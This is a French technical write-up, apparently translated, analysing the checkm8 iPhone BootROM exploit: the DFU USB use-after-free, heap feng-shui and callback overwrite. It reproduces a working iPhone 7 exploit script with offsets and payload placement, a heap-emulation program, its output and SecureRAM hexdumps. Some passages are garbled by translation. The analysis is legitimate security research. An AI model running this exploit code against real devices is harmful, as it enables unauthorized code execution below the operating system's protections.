Analyse technique de l'exploit checkm8


Avec une forte probabilité, vous avez déjà entendu parler de l'exploit sensationnel de checkm8 , qui utilise une vulnérabilité irrécupérable dans la BootROM plupart des iDevices, y compris l' iPhone X Dans cet article, nous fournirons une analyse technique de l'exploit et examinerons les causes de la vulnérabilité. Toute personne intéressée - bienvenue sous la coupe!


Vous pouvez lire la version anglaise de l'article ici .


Présentation


Pour commencer, nous dĂ©crirons briĂšvement le processus de dĂ©marrage d'iDevice et dĂ©couvrirons quelle place BootROM occupe (il peut Ă©galement ĂȘtre appelĂ© SecureROM ) et pourquoi il est nĂ©cessaire. Des informations assez dĂ©taillĂ©es Ă  ce sujet sont ici . Le processus de dĂ©marrage simplifiĂ© peut ĂȘtre reprĂ©sentĂ© comme suit:



BootROM est la premiÚre chose que le processeur exécute lorsque l'appareil est allumé. Les principales tùches de BootROM :


  • Initialisation de la plateforme (paramĂ©trage des registres de plateforme nĂ©cessaires, initialisation du CPU , etc.)
  • VĂ©rification et transfert de contrĂŽle Ă  la prochaine Ă©tape du chargement
    • BootROM prend en charge l'analyse des images IMG3/IMG4
    • BootROM a accĂšs Ă  la clĂ© GID pour dĂ©chiffrer les images
    • Pour vĂ©rifier les images, la clĂ© publique Apple est intĂ©grĂ©e Ă  BootROM et il existe les fonctionnalitĂ©s nĂ©cessaires pour travailler avec la cryptographie.
  • RĂ©cupĂ©ration d'un appareil s'il n'est pas possible de tĂ©lĂ©charger davantage ( Device Firmware Update , DFU )

BootROM trĂšs petite taille, et il peut ĂȘtre appelĂ© une version allĂ©gĂ©e d' iBoot , car ils partagent la plupart du code systĂšme et de bibliothĂšque. Cependant, contrairement Ă  iBoot , BootROM ne peut pas ĂȘtre mis Ă  jour. Il est placĂ© dans la mĂ©moire interne en lecture seule lors de la fabrication de l'appareil. BootROM est la racine matĂ©rielle de l'approbation de la chaĂźne de dĂ©marrage. Des vulnĂ©rabilitĂ©s peuvent permettre de contrĂŽler le processus de tĂ©lĂ©chargement et d'exĂ©cuter du code non signĂ© sur l'appareil.



L'apparition de checkm8


L'exploit checkm8 été ajouté à l'utilitaire ipwndfu par son auteur axi0mX le 27 septembre 2019. Il a ensuite annoncé une mise à jour sur son compte Twitter, accompagnée d'une description de l'exploit et d'informations supplémentaires. Vous pouvez découvrir dans le fil que la vulnérabilité d' use-after-free libération dans le code USB été trouvée par l'auteur au cours du iBoot à iBoot pour iOS 12 beta à l'été 2018. Comme indiqué précédemment, BootROM et iBoot ont beaucoup de code commun, y compris du code pour USB , c'est pourquoi cette vulnérabilité est également pertinente pour BootROM .


Il rĂ©sulte Ă©galement du code d'exploitation que la vulnĂ©rabilitĂ© est exploitĂ©e dans DFU . Il s'agit d'un mode dans lequel une image signĂ©e peut ĂȘtre transfĂ©rĂ©e vers l'appareil via USB , qui sera ensuite tĂ©lĂ©chargĂ©e. Cela peut ĂȘtre nĂ©cessaire, par exemple, pour restaurer le pĂ©riphĂ©rique si la mise Ă  jour Ă©choue.


Le mĂȘme jour, littlelailo a signalĂ© avoir dĂ©couvert cette vulnĂ©rabilitĂ© en mars et publiĂ© sa description dans le fichier apollo.txt . La description correspond Ă  ce qui se passe dans le code checkm8 , mais elle ne clarifie pas complĂštement les dĂ©tails de l'exploit. Par consĂ©quent, nous avons dĂ©cidĂ© d'Ă©crire cet article et de dĂ©crire tous les dĂ©tails de l'opĂ©ration jusqu'Ă  l'exĂ©cution de la charge utile dans BootROM inclus.


Nous avons effectuĂ© une analyse d'exploit basĂ©e sur les matĂ©riaux mentionnĂ©s prĂ©cĂ©demment, ainsi que sur le code source iBoot/SecureROM fuitĂ© en fĂ©vrier 2018. Nous avons Ă©galement utilisĂ© des donnĂ©es obtenues expĂ©rimentalement sur notre appareil de test - iPhone 7 ( CPID:8010 ). À l'aide de checkm8 nous en avons supprimĂ© les SecureROM et SecureRAM , ce qui nous a aidĂ©s dans l'analyse.


Connaissances USB essentielles


La vulnérabilité détectée se trouve dans le code USB , donc certaines connaissances sur cette interface sont requises. Vous pouvez lire la spécification complÚte ici , mais elle est assez volumineuse. Un excellent matériel, qui est plus que suffisant pour une meilleure compréhension, est l' USB dans un NutShell . Ici, nous ne donnons que le plus nécessaire.


Il existe différents types de transfert de données USB . DFU utilise uniquement le mode Control Transfers (vous pouvez le lire ici ). Chaque transaction dans ce mode comprend trois étapes:



  • Setup Stage - Ă  ce stade, un paquet SETUP est envoyĂ©, qui se compose des champs suivants:
    • bmRequestType - dĂ©crit la direction, le type et le rĂ©cepteur de la demande
    • bRequest - dĂ©termine quelle demande est faite
    • wValue , wIndex - selon la demande, ils peuvent ĂȘtre interprĂ©tĂ©s diffĂ©remment
    • wLength - longueur des donnĂ©es reçues / transmises dans l' Data Stage
  • Data Stage - une Ă©tape facultative Ă  laquelle le transfert de donnĂ©es a lieu. Selon le paquet SETUP de l'Ă©tape prĂ©cĂ©dente, il peut s'agir de l'envoi de donnĂ©es de l'hĂŽte vers le pĂ©riphĂ©rique ( OUT ) ou vice versa ( IN ). Les donnĂ©es sont envoyĂ©es en petites portions (dans le cas d' Apple DFU , il s'agit de 0x40 octets).
    • Lorsque l'hĂŽte souhaite transfĂ©rer le prochain lot de donnĂ©es, il envoie un jeton OUT , aprĂšs quoi les donnĂ©es elles-mĂȘmes sont envoyĂ©es.
    • Lorsque l'hĂŽte est prĂȘt Ă  recevoir des donnĂ©es de l'appareil, il envoie un jeton IN , en rĂ©ponse auquel l'appareil envoie des donnĂ©es.
  • Status Stage - Ă©tape finale Ă  laquelle l'Ă©tat de l'ensemble de la transaction est signalĂ©.
    • Pour les demandes OUT , l'hĂŽte envoie un jeton IN , en rĂ©ponse auquel le pĂ©riphĂ©rique doit envoyer un paquet de donnĂ©es de longueur nulle.
    • Pour les demandes IN , l'hĂŽte envoie un jeton OUT et un paquet de donnĂ©es de longueur nulle.

OUT requĂȘtes OUT et IN sont illustrĂ©es dans le diagramme ci-dessous. Nous avons intentionnellement supprimĂ© ACK , NACK et d'autres packages de prise de contact du schĂ©ma de description et d'interaction, car ils ne jouent pas un rĂŽle spĂ©cial dans l'exploit lui-mĂȘme.



Analyse apollo.txt


Nous avons commencé l'analyse en analysant la vulnérabilité à partir du document apollo.txt . Il décrit l'algorithme du mode DFU :


https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
  1. Lorsque usb est démarré pour obtenir une image sur dfu, dfu enregistre une interface pour gérer toutes les commandes et alloue un tampon pour l'entrée et la sortie
  2. si vous envoyez des données à dfu, le paquet d'installation est géré par le code principal qui appelle ensuite le code d'interface
  3. le code d'interface vérifie que wLength est plus court que la longueur du tampon de sortie d'entrée et si c'est le cas, il met à jour un pointeur passé en argument avec un pointeur sur le tampon de sortie d'entrée
  4. il renvoie ensuite wLength qui est la longueur qu'il souhaite recevoir dans le tampon
  5. le code principal usb met ensuite à jour une variable globale avec la longueur et se prépare à recevoir les paquets de données
  6. si un paquet de données est reçu, il est écrit dans le tampon de sortie d'entrée via le pointeur qui a été passé en argument et une autre variable globale est utilisée pour garder une trace du nombre d'octets déjà reçus
  7. si toutes les donnĂ©es ont Ă©tĂ© reçues, le code spĂ©cifique dfu est appelĂ© Ă  nouveau et cela continue Ă  copier le contenu du tampon de sortie d'entrĂ©e Ă  l'emplacement de mĂ©moire d'oĂč l'image est dĂ©marrĂ©e plus tard
  8. aprÚs cela, le code usb réinitialise toutes les variables et continue à gérer de nouveaux packages
  9. si dfu quitte le tampon de sortie d'entrée est libéré et si l'analyse de l'image échoue, le bootrom revient dfu

Tout d'abord, nous avons comparé les étapes décrites avec le code source iBoot . Comme nous ne pouvons pas utiliser de fragments de code source divulgués dans l'article, nous allons montrer le pseudocode obtenu par la rétro-ingénierie SecureROM de notre iPhone 7 dans IDA . Vous pouvez facilement trouver le code source d' iBoot et le parcourir.


Lorsque le mode DFU est initialisé, un tampon IO est alloué et une interface USB est enregistrée pour le traitement des demandes à la DFU :



Lorsqu'un paquet de demande SETUP arrive Ă  la DFU , le gestionnaire d'interface correspondant est appelĂ©. En cas d'exĂ©cution rĂ©ussie de la requĂȘte OUT (par exemple, lors du transfert de l'image), le gestionnaire doit renvoyer l'adresse du tampon IO pour la transaction et la taille des donnĂ©es qu'il s'attend Ă  recevoir par pointeur. Dans ce cas, l'adresse du tampon et la taille des donnĂ©es attendues sont stockĂ©es dans des variables globales.



Le gestionnaire d'interface pour DFU est illustré dans la capture d'écran ci-dessous. Si la demande est correcte, alors l'adresse du tampon IO alloué à l'étape d'initialisation DFU et la longueur des données attendues, qui est extraite du paquet SETUP , sont renvoyées par le pointeur.



Pendant la Data Stage chaque élément de données est écrit dans le tampon IO , aprÚs quoi l'adresse du tampon IO est décalée et le compteur des données reçues est mis à jour. AprÚs avoir reçu toutes les données attendues, le gestionnaire de données d'interface est appelé et l'état de transmission global est effacé.



Dans le gestionnaire de donnĂ©es DFU, les donnĂ©es reçues sont dĂ©placĂ©es vers la zone de mĂ©moire Ă  partir de laquelle le tĂ©lĂ©chargement continuera. À en juger par le code source iBoot , cette zone de mĂ©moire dans Apple s'appelle INSECURE_MEMORY .



Lorsque vous DFU mode DFU , le tampon d' IO précédemment alloué sera libéré. Si l'image a été reçue avec succÚs en mode DFU , elle sera vérifiée et chargée. Si, pendant le fonctionnement du mode DFU , une erreur s'est produite ou s'il est impossible de charger l'image résultante, la DFU sera réinitialisée et tout recommencera.


Dans l'algorithme décrit se trouve la vulnérabilité d' use-after-free libération. Si au démarrage, envoyez un paquet SETUP et terminez la transaction en sautant l' Data Stage , l'état global restera initialisé lors de la rentrée dans le cycle DFU , et nous serons en mesure d'écrire à l'adresse du tampon d' IO allouée dans l'itération DFU précédente.


AprĂšs avoir traitĂ© de la vulnĂ©rabilitĂ© d' use-after-free libĂ©ration, nous nous sommes demandĂ©: comment puis-je Ă©craser quelque chose lors de la prochaine itĂ©ration de DFU ? AprĂšs tout, avant de rĂ©initialiser la DFU toutes les ressources prĂ©cĂ©demment allouĂ©es sont libĂ©rĂ©es et l'emplacement de mĂ©moire dans la nouvelle itĂ©ration doit ĂȘtre exactement le mĂȘme. Il s'avĂšre qu'il existe une autre erreur de fuite de mĂ©moire intĂ©ressante et assez belle qui permet d'exploiter la vulnĂ©rabilitĂ© d' use-after-free libĂ©ration, dont nous discuterons plus tard.


Analyse de Checkm8


Nous procĂ©dons directement Ă  l'analyse de l'exploit checkm8 . Pour plus de simplicitĂ©, nous analyserons une version modifiĂ©e de l'exploit pour iPhone 7 , dans laquelle le code associĂ© Ă  d'autres plateformes a Ă©tĂ© supprimĂ©, la sĂ©quence et les types de requĂȘtes USB ont Ă©tĂ© modifiĂ©s sans perdre l'exploit. Dans cette version Ă©galement, le processus de construction de la charge utile est supprimĂ©, il peut ĂȘtre trouvĂ© dans le fichier checkm8.py origine. Comprendre les diffĂ©rences entre les versions des autres appareils ne devrait pas ĂȘtre difficile.


 #!/usr/bin/env python from checkm8 import * def main(): print '*** checkm8 exploit by axi0mX ***' device = dfu.acquire_device(1800) start = time.time() print 'Found:', device.serial_number if 'PWND:[' in device.serial_number: print 'Device is already in pwned DFU Mode. Not executing exploit.' return payload, _ = exploit_config(device.serial_number) t8010_nop_gadget = 0x10000CC6C callback_chain = 0x1800B0800 t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain) # heap feng-shui stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device) # set global state and restart usb device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) time.sleep(0.5) # heap occupation device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50) for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() if 'PWND:[checkm8]' not in device.serial_number: print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.' sys.exit(1) print 'Device is now in pwned DFU Mode.' print '(%0.2f seconds)' % (time.time() - start) dfu.release_device(device) if __name__ == '__main__': main() 

checkm8 travail de checkm8 peut ĂȘtre divisĂ© en plusieurs Ă©tapes:


  1. Préparation du heap feng-shui ( heap feng-shui )
  2. Allocation et libération du tampon IO sans effacer l'état global
  3. Écraser usb_device_io_request sur le tas avec use-after-free
  4. Placement de charge utile
  5. Exécution de la callback-chain rappel
  6. Exécution de shellcode

Considérez chacune des étapes en détail.


1. Préparation du tas (tas feng-shui)


Il nous semble que c'est l'Ă©tape la plus intĂ©ressante et nous y avons prĂȘtĂ© une attention particuliĂšre.


 stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device) 

Cette étape est nécessaire pour obtenir un état de segment de mémoire pratique pour un use-after-free . Pour commencer, considérez les appels stall , leak , no_leak :


 def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001) def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1) def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1) 

libusb1_no_error_ctrl_transfer est un wrapper sur device.ctrlTransfer avec ignorer toutes les exceptions qui se sont produites lors de l'exĂ©cution de la demande. libusb1_async_ctrl_transfer - un wrapper sur la fonction libusb_submit_transfer de libusb pour l'exĂ©cution de requĂȘtes asynchrones.


Les deux appels acceptent les paramĂštres suivants:


  • Instance de pĂ©riphĂ©rique
  • DonnĂ©es pour le package SETUP (leur description est ici ):
    • bmRequestType
    • bRequest
    • wValue
    • wIndex
  • Taille des donnĂ©es ( wLength ) ou DonnĂ©es pour l' Data Stage
  • DĂ©lai d'expiration de la demande

Les arguments bmRequestType , bRequest , wValue et wIndex sont communs aux trois types de requĂȘtes. Ils signifient:


  • bmRequestType = 0x80
    • 0b1XXXXXXX - direction de l' Data Stage de Data Stage de l'appareil Ă  l'hĂŽte (appareil Ă  hĂŽte)
    • 0bX00XXXXX - type de demande standard
    • 0bXXX00000 - destinataire de la demande - appareil
  • bRequest = 6 - demande de descripteur ( GET_DESCRIPTOR )
  • wValue = 0x304
    • wValueHigh = 0x3 - dĂ©termine le type de descripteur Ă  recevoir - chaĂźne ( USB_DT_STRING )
    • wValueLow = 0x4 est l'index du descripteur de chaĂźne, 4 correspond au numĂ©ro de sĂ©rie de l'appareil (dans ce cas, la chaĂźne ressemble Ă  CPID:8010 CPRV:11 CPFM:03 SCEP:01 BDID:0C ECID:001A40362045E526 IBFL:3C SRTG:[iBoot-2696.0.0.1.33] )
  • wIndex = 0x40A - identifiant du langage de chaĂźne, sa valeur n'est pas importante pour le fonctionnement et peut ĂȘtre modifiĂ©e.

Pour l'une de ces trois demandes, 0x30 octets sont alloués sur le tas pour un objet de la structure suivante:



Les champs les plus intéressants de cet objet sont le callback et le next .


  • callback - un pointeur vers une fonction qui sera appelĂ©e Ă  la fin de la demande.
  • next - un pointeur vers l'objet suivant du mĂȘme type, nĂ©cessaire pour les demandes de mise en file d'attente.

Une caractĂ©ristique clĂ© de l'appel de stall est d'utiliser l'exĂ©cution asynchrone de la demande avec un dĂ©lai minimum. Pour cette raison, si vous avez de la chance, la demande sera annulĂ©e au niveau du systĂšme d'exploitation et restera dans la file d'attente d'exĂ©cution, et la transaction ne sera pas terminĂ©e. Dans le mĂȘme temps, l'appareil continuera Ă  accepter tous les paquets SETUP entrants et, si nĂ©cessaire, les placera dans la file d'attente d'exĂ©cution. Plus tard, en utilisant des expĂ©riences avec un USB sur Arduino nous avons pu dĂ©couvrir que pour un fonctionnement rĂ©ussi, l'hĂŽte devrait envoyer un paquet SETUP et un jeton IN , aprĂšs quoi la transaction devrait ĂȘtre annulĂ©e par timeout. SchĂ©matiquement, une telle transaction incomplĂšte peut ĂȘtre reprĂ©sentĂ©e comme suit:



Les autres demandes ne diffĂšrent que par leur longueur et par une seule. Le fait est que pour les requĂȘtes standard, il existe un callback standard qui ressemble Ă  ceci:



La valeur io_length est Ă©gale au minimum de wLength dans le paquet SETUP de la demande et Ă  la longueur d'origine du descripteur demandĂ©. Étant donnĂ© que le descripteur est suffisamment long, nous pouvons contrĂŽler avec prĂ©cision la valeur io_length dans sa longueur. La valeur de g_setup_request.wLength est Ă©gale Ă  la valeur de wLength dernier paquet SETUP , dans ce cas, 0xC1 .


Ainsi, Ă  la fin des requĂȘtes gĂ©nĂ©rĂ©es Ă  l'aide des appels de stall et de leak , la condition dans la fonction de callback finale est satisfaite et usb_core_send_zlp() appelĂ©. Cet appel crĂ©e simplement un zero-length-packet et l'ajoute Ă  la file d'attente d'exĂ©cution. Cela est nĂ©cessaire pour que la transaction se termine correctement Ă  l' Status Stage du Status Stage .


La demande se termine par un appel Ă  la fonction usb_core_complete_endpoint_io , qui appelle d'abord le callback puis libĂšre la mĂ©moire de la demande. Dans le mĂȘme temps, l'achĂšvement de la demande peut se produire non seulement lorsque la transaction entiĂšre est effectivement terminĂ©e, mais Ă©galement lorsque la USB rĂ©initialisĂ©e. DĂšs qu'un signal de rĂ©initialisation USB est reçu, la file d'attente de demande sera contournĂ©e et chacune d'elles sera terminĂ©e.


En raison de l'appel sĂ©lectif Ă  usb_core_send_zlp() , en contournant la file d'attente de demandes, puis en les libĂ©rant, vous pouvez obtenir un contrĂŽle de usb_core_send_zlp() de usb_core_send_zlp() suffisant pour une use-after-free libĂ©ration. Tout d'abord, regardons le cycle de sortie lui-mĂȘme:



La file d'attente des demandes est d'abord effacĂ©e, puis les demandes annulĂ©es sont usb_core_complete_endpoint_io et elles sont terminĂ©es en appelant usb_core_complete_endpoint_io . Dans le mĂȘme temps, les requĂȘtes sĂ©lectionnĂ©es Ă  l'aide de usb_core_send_zlp sont placĂ©es dans ep->io_head . Une fois la procĂ©dure de rĂ©initialisation USB terminĂ©e, toutes les informations sur le point de terminaison seront rĂ©initialisĂ©es, y compris les io_tail io_head et io_tail , et les demandes de longueur nulle resteront sur le tas. Vous pouvez donc crĂ©er un petit morceau au milieu du reste du tas. Le diagramme ci-dessous montre comment cela se produit:



Le tas dans SecureROM conçu de telle maniĂšre qu'une nouvelle zone de mĂ©moire est allouĂ©e Ă  partir d'un morceau libre appropriĂ© de la plus petite taille. En crĂ©ant un petit morceau libre par la mĂ©thode dĂ©crite ci-dessus, vous pouvez affecter l'allocation de mĂ©moire lors de l'initialisation USB et l'allocation de io_buffer et des requĂȘtes.


Pour une meilleure compréhension, voyons quelles demandes de DFU se produisent lors de l'initialisation de DFU . Au cours de l'analyse du code source iBoot et de la rétro-ingénierie iBoot SecureROM nous avons réussi à obtenir la séquence suivante:


    1. Attribution de divers descripteurs de chaĂźne
      • 1.1. Nonce (taille 234 )
      • 1.2. Manufacturer ( 22 )
      • 1.3. Product ( 62 )
      • 1.4. Serial Number ( 198 )
      • 1.5. Configuration string ( 62 )

    1. Allocation associée à la création de la tùche du USB
      • 2.1. Structure des tĂąches ( 0x3c0 )
      • 2.2. TĂąche de pile ( 0x1000 )

    1. io_buffer ( 0x800 )

    1. Descripteurs de configuration
      • 4.1. High-Speed ( 25 )
      • 4.2. Full-Speed ( 25 )


Ensuite, il y a une allocation de structures de demande. S'il y a un petit morceau au milieu de l'espace de tas, certaines allocations de la premiĂšre catĂ©gorie iront Ă  ce morceau, et toutes les autres allocations se dĂ©placeront, ce qui nous permettra de dĂ©border usb_device_io_request , en se rĂ©fĂ©rant Ă  l'ancien tampon. SchĂ©matiquement, cela peut ĂȘtre reprĂ©sentĂ© comme suit:



Pour calculer le biais nécessaire, nous avons décidé d'émuler simplement les allocations répertoriées ci-dessus, en adaptant légÚrement le code source du tas iBoot .


Émulation de tas DFU
 #include "heap.h" #include <stdio.h> #include <unistd.h> #include <sys/mman.h> #ifndef NOLEAK #define NOLEAK (8) #endif int main() { void * chunk = mmap((void *)0x1004000, 0x100000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); printf("chunk = %p\n", chunk); heap_add_chunk(chunk, 0x100000, 1); malloc(0x3c0); //        SecureRAM void * descs[10]; void * io_req[100]; descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); const int N = NOLEAK; void * task = malloc(0x3c0); void * task_stack = malloc(0x4000); void * io_buf_0 = memalign(0x800, 0x40); void * hs = malloc(25); void * fs = malloc(25); void * zlps[2]; for(int i = 0; i < N; i++) { io_req[i] = malloc(0x30); } for(int i = 0; i < N; i++) { if(i < 2) { zlps[i] = malloc(0x30); } free(io_req[i]); } for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_0); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 2; i++) { printf("zlps[%d] = %p\n", i, zlps[i]); } printf("**********\n"); for(int i = 0; i < 5; i++) { free(descs[i]); } free(task); free(task_stack); free(io_buf_0); free(hs); free(fs); descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); task = malloc(0x3c0); task_stack = malloc(0x4000); void * io_buf_1 = memalign(0x800, 0x40); hs = malloc(25); fs = malloc(25); for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_1); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 5; i++) { io_req[i] = malloc(0x30); printf("io_req[%d] = %p\n", i, io_req[i]); } printf("**********\n"); printf("io_req_off = %#lx\n", (int64_t)io_req[0] - (int64_t)io_buf_0); printf("hs_off = %#lx\n", (int64_t)hs - (int64_t)io_buf_0); printf("fs_off = %#lx\n", (int64_t)fs - (int64_t)io_buf_0); return 0; } 

Sortie du programme avec 8 requĂȘtes au stade heap feng-shui :


 chunk = 0x1004000 descs[0] = 0x1004480 descs[1] = 0x10045c0 descs[2] = 0x1004640 descs[3] = 0x10046c0 descs[4] = 0x1004800 task = 0x1004880 task_stack = 0x1004c80 io_buf = 0x1008d00 hs = 0x1009540 fs = 0x10095c0 zlps[0] = 0x1009a40 zlps[1] = 0x1009640 ********** descs[0] = 0x10096c0 descs[1] = 0x1009800 descs[2] = 0x1009880 descs[3] = 0x1009900 descs[4] = 0x1004480 task = 0x1004500 task_stack = 0x1004900 io_buf = 0x1008980 hs = 0x10091c0 fs = 0x1009240 io_req[0] = 0x10092c0 io_req[1] = 0x1009340 io_req[2] = 0x10093c0 io_req[3] = 0x1009440 io_req[4] = 0x10094c0 ********** io_req_off = 0x5c0 hs_off = 0x4c0 fs_off = 0x540 

La prochaine usb_device_io_request sera à l'offset 0x5c0 rapport au début de la mémoire tampon précédente, ce qui correspond au code d'exploitation:


 t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain) 

, SecureRAM , checkm8 . , . , usb_device_io_request , .


 #!/usr/bin/env python3 import struct from hexdump import hexdump with open('HEAP', 'rb') as f: heap = f.read() cur = 0x4000 def parse_header(cur): _, _, _, _, this_size, t = struct.unpack('<QQQQQQ', heap[cur:cur + 0x30]) is_free = t & 1 prev_free = (t >> 1) & 1 prev_size = t >> 2 this_size *= 0x40 prev_size *= 0x40 return this_size, is_free, prev_size, prev_free while True: try: this_size, is_free, prev_size, prev_free = parse_header(cur) except Exception as ex: break print('chunk at', hex(cur + 0x40)) if this_size == 0: if cur in (0x9180, 0x9200, 0x9280): #    this_size = 0x80 else: break print(hex(this_size), 'free' if is_free else 'non-free', hex(prev_size), prev_free) hexdump(heap[cur + 0x40:cur + min(this_size, 0x100)]) cur += this_size 

. , .


SecureRAM
 chunk at 0x4040 0x40 non-free 0x0 0 chunk at 0x4080 0x80 non-free 0x40 0 00000000: 00 41 1B 80 01 00 00 00 00 00 00 00 00 00 00 00 .A.............. 00000010: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................ 00000020: FF 00 00 00 00 00 00 00 68 3F 08 80 01 00 00 00 ........h?...... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x4100 0x140 non-free 0x80 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4240 0x240 non-free 0x140 0 00000000: 68 6F 73 74 20 62 72 69 64 67 65 00 00 00 00 00 host bridge..... 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4480 // descs[4], conf string 0x80 non-free 0x240 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x4500 // task 0x400 non-free 0x80 0 00000000: 6B 73 61 74 00 00 00 00 E0 01 08 80 01 00 00 00 ksat............ 00000010: E8 83 08 80 01 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4900 // task stack 0x4080 non-free 0x400 0 00000000: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000010: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000020: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000030: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000040: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000050: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000060: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000070: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000080: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000090: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000A0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000B0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats chunk at 0x8980 // io_buf 0x840 non-free 0x4080 0 00000000: 63 6D 65 6D 63 6D 65 6D 00 00 00 00 00 00 00 00 cmemcmem........ 00000010: 10 00 0B 80 01 00 00 00 00 00 1B 80 01 00 00 00 ................ 00000020: EF FF 00 00 00 00 00 00 10 08 0B 80 01 00 00 00 ................ 00000030: 4C CC 00 00 01 00 00 00 20 08 0B 80 01 00 00 00 L....... ....... 00000040: 4C CC 00 00 